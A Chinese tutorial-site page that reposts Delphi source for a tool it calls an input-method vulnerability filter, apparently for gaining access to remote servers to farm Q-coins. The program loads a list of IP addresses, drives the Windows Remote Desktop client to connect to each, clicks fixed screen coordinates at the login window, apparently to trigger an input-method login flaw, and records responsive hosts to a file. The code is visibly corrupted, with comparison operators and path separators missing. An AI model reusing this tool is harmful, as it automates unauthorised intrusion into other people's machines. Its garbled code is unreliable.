利用极品五笔刷QB程序原代码

廉40

廉40

2016-02-19 20:48

下面是个简单易学的利用极品五笔刷QB程序原代码教程,图老师小编详细图解介绍包你轻松学会,喜欢的朋友赶紧get起来吧!

//----------------------------------------------------------
  //         输入发漏洞程序1.0
  file://----------------------------------------------------------
  
  unit pApp;
  
  interface
  
  uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, Menus, ComCtrls;
  file://定义键盘动作类
  type
    TKAction = (CTAB, TAB_F4, ENTER, ALT_U);
  type
  TfrmMain = class(TForm)
    OpenDlg: TOpenDialog;
    Panel1: TPanel;
    btnOpen: TButton;
    ProgressBar1: TProgressBar;
    btnStop: TButton;
    btnPause: TButton;
    btnSetting: TButton;
    btnAbout: TButton;
    GroupBox1: TGroupBox;
    btnStart: TButton;
    timLoop: TTimer;
    GroupBox3: TGroupBox;
    TrackBar1: TTrackBar;
    Label3: TLabel;
    edtAppPath: TEdit;
    btnAppPath: TButton;
    edtSavePath: TEdit;
    btnSavePath: TButton;
    Label4: TLabel;
    Label5: TLabel;
    chkAutoEnd: TCheckBox;
    GroupBox2: TGroupBox;
    Image1: TImage;
    Label1: TLabel;
    Label2: TLabel;
    btnHelp: TButton;
    chkAutoIPText: TCheckBox;
    timWait: TTimer;
    SaveDlg: TSaveDialog;
    OpenAppDlg: TOpenDialog;
    memIP: TMemo;
    lblWeb: TLabel;
    timKeyAction: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure btnSettingClick(Sender: TObject);
    procedure btnAboutClick(Sender: TObject);
    procedure btnOpenClick(Sender: TObject);
    procedure btnStartClick(Sender: TObject);
    procedure timLoopTimer(Sender: TObject);
    procedure TrackBar1Change(Sender: TObject);
    procedure btnStopClick(Sender: TObject);
    procedure timWaitTimer(Sender: TObject);
    procedure timKeyActionTimer(Sender: TObject);
  private
    function GetSysDir: String;
   
    function Get_Remote_Hwnd: HWND;
    function Get_IPBox_Hwnd: THandle;
    function Get_ConnectHwnd: HWND;
    procedure Set_IPText(IPbox: THandle; IP: String);
    function GetCloseHwnd: HWND;
    function Get_IntermitFrmHwnd(Name: String): HWND;
    procedure ReadIPFiles(Line: Integer);
    procedure ReadTomemIP(IPPath: String);
    function Get_EnterBox: HWND;
    procedure SendKeyboard(KA: TKAction);
    procedure Sendmose(a, x, y: Integer);
    function GetColor(x, y: Integer): Integer;
    procedure WriteIP(s, FileName: String);
    procedure CreateIPFile(FileName: String);
    { Private declarations }
  public
    { Public declarations }
  end;
  
  var
  frmMain: TfrmMain;
  Waittime, I: Integer;   file://声明等待时间&累加变量
  Howline: Integer;       file://声明总行数
  K: Integer;           file://声明行数累加变量
  IPFilePath: String;     file://导入IP文件路径
  Str: String;
  hEnterBox: HWND;       file://定义登陆筐句柄
  KeyTime: Integer;       file://定义模拟键盘累加值
  WIP: String;         file://定义纪录写入的IP是否相同
  implementation
  
  {$R *.dfm}
  
  procedure TfrmMain.FormCreate(Sender: TObject);
  begin
  file://初始化属性
    frmMain.Font.Name := '宋体';
    frmMain.Font.Size := 9;
    frmMain.Caption := '输入法漏洞过滤程序[中国起点网络安全小组]';
    btnOpen.Caption := '导入IP';
    btnStart.Caption := '开始';
    btnPause.Caption := '暂停';
    btnStop.Caption := '停止';
    btnSetting.Caption := '设置';
    btnAbout.Caption := '关于';
    frmMain.ClientWidth := 409;
    frmMain.ClientHeight := 95;
    GroupBox1.Visible := False;
    GroupBox2.Visible := False;
    Label1.Caption := '输入法漏洞过滤1.0' + #13 +
                '版权:Hack太子 所有' + #13 +
                'QQ:78730710' + #13 +
                'QQ:2711997';
    btnStart.Enabled := False;
    btnStop.Enabled := False;
    btnPause.Enabled := False;
    Label3.Caption := IntToStr(TrackBar1.Position) + '秒';
    Waittime := TrackBar1.Position; file://初始化等待时间值
  end;
  
  procedure TfrmMain.btnSettingClick(Sender: TObject);
  begin
    if btnSetting.Caption = '设置' then
    begin
      btnSetting.Caption := '隐藏';
      frmMain.ClientHeight := 223;
      GroupBox2.Visible := False;
      GroupBox1.Visible := True
    end else
    begin
      btnSetting.Caption := '设置';
      GroupBox1.Visible := False;
      frmMain.ClientHeight := 95;
    end;
  end;
  
  procedure TfrmMain.btnAboutClick(Sender: TObject);
  begin
    ShowMessage(IntToStr(Get_Enterbox));
    ShowMessage(str);
    if btnAbout.Caption = '关于' then
    begin
      btnAbout.Caption := '隐藏';
      FrmMain.ClientHeight := 223;
      GroupBox1.Visible := False;
      GroupBox2.Visible := True;
    end else
    begin
      btnAbout.Caption := '关于';
      GroupBox2.Visible := False;
      FrmMain.ClientHeight := 95;
    end;
  end;
  
  file://单击打开按钮执行以下部分
  procedure TfrmMain.btnOpenClick(Sender: TObject);
  begin
    if OpenDlg.Execute then
    begin
      IPFilePath := OpenDlg.FileName;
    end;
    if IPFilePath = '' then
      Exit
    else
    begin
      btnStart.Enabled := True;
    end;
  
  
  
  
  
  
  
  end;
  file://获取系统所在目录
  function TfrmMain.GetSysDir: String;
  var
    SysDir: PChar;
  begin
    GetMem(SysDir, MAX_PATH);
    GetSystemDirectory(SysDir, MAX_PATH);
    Result := StrPas(SysDir);
    FreeMem(SysDir, MAX_PATH);
  end;
  file://获取远程桌面程序窗口句柄
  function TfrmMain.Get_Remote_Hwnd: HWND;
  var
    RHwnd: HWND;
  begin
    RHwnd := FindWindow('#32770', '远程桌面连接');
    if RHwnd  0 then
      Result := RHwnd
    else
      Result := 0;
  end;
  file://获取IP输入筐句柄
  function TfrmMain.Get_IPBox_Hwnd: THandle;
  var
    IPBoxHwnd: THandle;
  begin
    IPBoxHwnd := FindWindowEx(
              Get_Remote_Hwnd,
              0,
              'ComboBoxEx32',
              nil
              );
    if IPBoxHwnd  0 then
      Result := IPBoxHwnd
    else
      Result := IPBoxHwnd;
  end;
  file://向IP地址输入筐中发送IP地址字符串
  procedure TfrmMain.Set_IPText(IPbox: THandle; IP: String);
  var
    IPText: PChar;
    IPBuf: Integer;
  begin
    GetMem(IPText, Length(IP));
    StrCopy(IPText, PChar(IP));
    try
      IPBuf := LongInt(IPText);
      SendMessage(
          IPbox,
          WM_SETTEXT,
          0,
          IPBuf
          );
    finally
      FreeMem(IPText, Length(IP));
    end;
  end;
  file://获取连接按钮句柄
  function TfrmMain.Get_ConnectHwnd: HWND;
  var
    BtnHwnd: HWND;
  begin
    BtnHwnd := FindWindowEx(
              Get_Remote_Hwnd,
              0,
              'Button',
              '连接(&N)'
              );
    if BtnHwnd  0 then
      Result := BtnHwnd
    else
      Result := 0;
  end;
  file://获取取消按钮句柄
  function TfrmMain.GetCloseHwnd: HWND;
  var
    BtnClose: HWND;
  begin
    BtnClose := FindWindowEx(
              Get_Remote_Hwnd,
              0,
              'Button',
              '取消',
              );
    if BtnClose  0 then
      Result := BtnClose
    else
      Result := 0;
  end;
  file://获取中断网络连接窗口句柄&该窗口确认按钮句柄
  function TfrmMain.Get_IntermitFrmHwnd(Name: String): HWND;
  var
    FrmHwnd: HWND;
    BtnHwnd: HWND;
  begin
    if (Name = 'F') or (Name = 'f') then
    begin
      FrmHwnd := FindWindow('#32770', '中断远程桌面连接');
      if FrmHwnd  0 then
          Result := FrmHwnd
      else
          Result := 0;
    end;
    if (Name = 'B') or (Name = 'b') then
    begin
      BtnHwnd := FindWindowEx(
                  FindWindow('#32770', '中断远程桌面连接'),
                  0,
                  'Button',
                  '确定',
                  );
      if BtnHwnd  0 then
          Result := BtnHwnd
      else
          Result := BtnHwnd;
    end;
  end;
  file://把IP文件读入Memo控件
  procedure TfrmMain.ReadTomemIP(IPPath: String);
  var
    TF: TextFile;
    IPStr: String;
  begin
    memIP.Clear;
    if FileExists(IPPath) then
    begin
      AssignFile(TF, IPPath);
      Reset(TF);
      while not Eof(TF) do
      begin
          Readln(TF, IPStr);
          memIP.Lines.Add(IPStr);
      end;
      CloseFile(TF);
    end else
    begin
      ShowMessage('请导入IP文件');
    end;
  
  end;
  
  
  
  
  
  file://读入Memo中IP并连接
  procedure TfrmMain.ReadIPFiles(Line: Integer);
  begin
    Howline := memIP.Lines.Count;
    if Line = (Howline - 1) then
    begin
      Str := memIP.Lines.Strings[Line];
          Set_IPText(Get_IPBox_Hwnd, Str);
          SendMessage(
            Get_ConnectHwnd,
            WM_LBUTTONDOWN,
            MK_LBUTTON,
            0
            );
          SendMessage(
            Get_ConnectHwnd,
            WM_LBUTTONUP,
            0,
            0
            );
    end else
    begin
      timWait.Enabled := False;
      timLoop.Enabled := False;
      MessageBox(
          frmMain.Handle,
          'IP已经全部过滤',
            '输入法漏洞过滤程序',
          MB_OK + MB_ICONINFORMATION
          );
    end;
  end;
  
  file://取得登陆窗口句柄
  function TfrmMain.Get_EnterBox: HWND;
  var
    Ebox: HWND;
    sIP: String;
  begin
    sIP := Str + ' - 远程桌面';
    Ebox := FindWindow('TSSHELLWND', PChar(sIP));
    if Ebox  0 then
      Result := Ebox
    else
      Result := 0;
  end;
  file://写入过滤后的IP
  procedure TfrmMain.WriteIP(s, FileName: String);
  var
    TF: TextFile;
    IP: String;
  begin
    WIP := s;
    if FileExists(FileName) then
    begin
      if s  WIP then
      begin
          AssignFile(TF, FileName );
          Append(TF);
          Writeln(TF, s);
          CloseFile(TF);
      end;
    end;
  end;file://创建保存过滤后IP的文件
  procedure TfrmMain.CreateIPFile(FileName: String);
  var
    fHwnd: Integer;
    TF: TextFile;
  begin
    if not FileExists(FileName) then
    begin
      fHwnd := FileCreate(FileName);
      FileClose(fHwnd);
      AssignFile(TF, FileName);
      Append(TF);
      Writeln(TF, '过滤过的IP:');
      CloseFile(TF);
    end;
  end;
  
  
  
  file://单击开始按钮以下部分
  procedure TfrmMain.btnStartClick(Sender: TObject);
  begin
    WinExec(PChar(GetSysDir + 'mstsc.exe'), SW_SHOWNORMAL);
    ReadTomemIP(IPFilePath);
    timLoop.Enabled := True;
    timWait.Enabled := True;
    btnStart.Enabled := False;
    btnStop.Enabled := True;
    btnPause.Enabled := True;
    CloseWindow(frmMain.Handle);
  end;
  file://取得指定坐标颜色
  function TfrmMain.GetColor(x, y: Integer): Integer;
  var
    WindowDC: THandle;
    Color: Integer;
  begin
    WindowDC := GetDC(0);
    Color := GetPixel(WindowDC, x, y);
    Result := Color;
  end;
  
  procedure TfrmMain.SendKeyboard(KA: TKAction);
  begin
    if KA = CTAB then
    begin
      Keybd_event(VK_TAB, 0, 0, 0);
      Keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP, 0);
    end;
  end;
  
  procedure TfrmMain.Sendmose(a, x, y: Integer);
  begin
    if a = 1 then
    begin
      SetCursorPos(x, y);
      mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
      mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
    end;
    if a = 2 then
    begin
      SetCursorPos(x, y);
      mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
      mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
    end;
  end;
  
  
  
  
  
  procedure TfrmMain.timLoopTimer(Sender: TObject);
  begin
    if Get_IntermitFrmHwnd('F')  0 then
    begin
      SendMessage(
          Get_IntermitFrmHwnd('B'),
          WM_LBUTTONDOWN,
          MK_LBUTTON,
          0
          );
      SendMessage(
          Get_IntermitFrmHwnd('B'),
          WM_LBUTTONUP,
          0,
          0
          );
      I := 0;
    end;
    if Get_EnterBox  0 then
    begin
      hEnterBox := Get_EnterBox;
      timWait.Enabled := false;
      if (TimKeyAction.Enabled  True) then timKeyAction.Enabled := True;
    end;
    if (Get_EnterBox  0) and (Get_EnterBox  hEnterBox) then
    begin
          timWait.Enabled := false;
    end;
    if GetColor(186, 570) = 16777215 then
    begin
      Sendmose(1, 1009, 10);
      Sendmose(1, 735, 13);
      CreateIPFile('c:MyIP.txt');
      WriteIP(Str, 'c:MyIP.txt');
      Sleep(10);
    end;
  
  
   
  
  end;
  
  procedure TfrmMain.TrackBar1Change(Sender: TObject);
  begin
    Label3.Caption := IntToStr(TrackBar1.Position) + '秒';
    Waittime := TrackBar1.Position;
  end;
  
  procedure TfrmMain.btnStopClick(Sender: TObject);
  begin
    timLoop.Enabled := False;
    timWait.Enabled := False;
    Str := '';
    I := 0;
    K := 0;
    IPFilePath := '';
    Howline := 0;
    btnStop.Enabled := False;
    btnPause.Enabled := False;
    btnStart.Enabled := False;
    btnOpen.Enabled := True;
  end;
  
  
  
  procedure TfrmMain.timWaitTimer(Sender: TObject);
  begin
    Inc(I);
    if I = Waittime then
    begin
      SendMessage(
          GetCloseHwnd,
          WM_LBUTTONDOWN,
          MK_LBUTTON,
          0
          );
      SendMessage(
          GetCloseHwnd,
          WM_LBUTTONUP,
          0,
          0
          );
      I := 0;
    end;
    if I = 1 then
    begin
      Inc(K);
      ReadIPFiles((K - 1));
    end;
  end;
  
  procedure TfrmMain.timKeyActionTimer(Sender: TObject);
  begin
    Inc(KeyTime);
    case KeyTime of
      1: Sendmose(1, 495, 328);
      2: Sendmose(2, 57, 753);
      3: Sendmose(1, 54, 650);
      4: Sendmose(1, 150, 652);
      5: KeyTime := 0;
    end;
  end;

  end.
  

(本文来源于图老师网站,更多请访问http://m.tulaoshi.com/bianchengyuyan/)
展开更多 50%)
分享

猜你喜欢

利用极品五笔刷QB程序原代码

编程语言 网络编程 五笔打字
利用极品五笔刷QB程序原代码

极品五笔怎么卸载 极品五笔卸载教程

软件教程
极品五笔怎么卸载 极品五笔卸载教程

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

几个游戏代码(麻将原代码)

编程语言 网络编程
几个游戏代码(麻将原代码)

极品五笔怎么卸载

五笔打字
极品五笔怎么卸载

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

超级玛利原代码

编程语言 网络编程
超级玛利原代码

极品五笔常见使用技巧

电脑入门 五笔打字
极品五笔常见使用技巧

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

检测你的程序是否运行在虚拟机(VMware)

检测你的程序是否运行在虚拟机(VMware)

[Delphi]一个解析FTP地址的小函数

[Delphi]一个解析FTP地址的小函数
下拉加载更多内容 ↓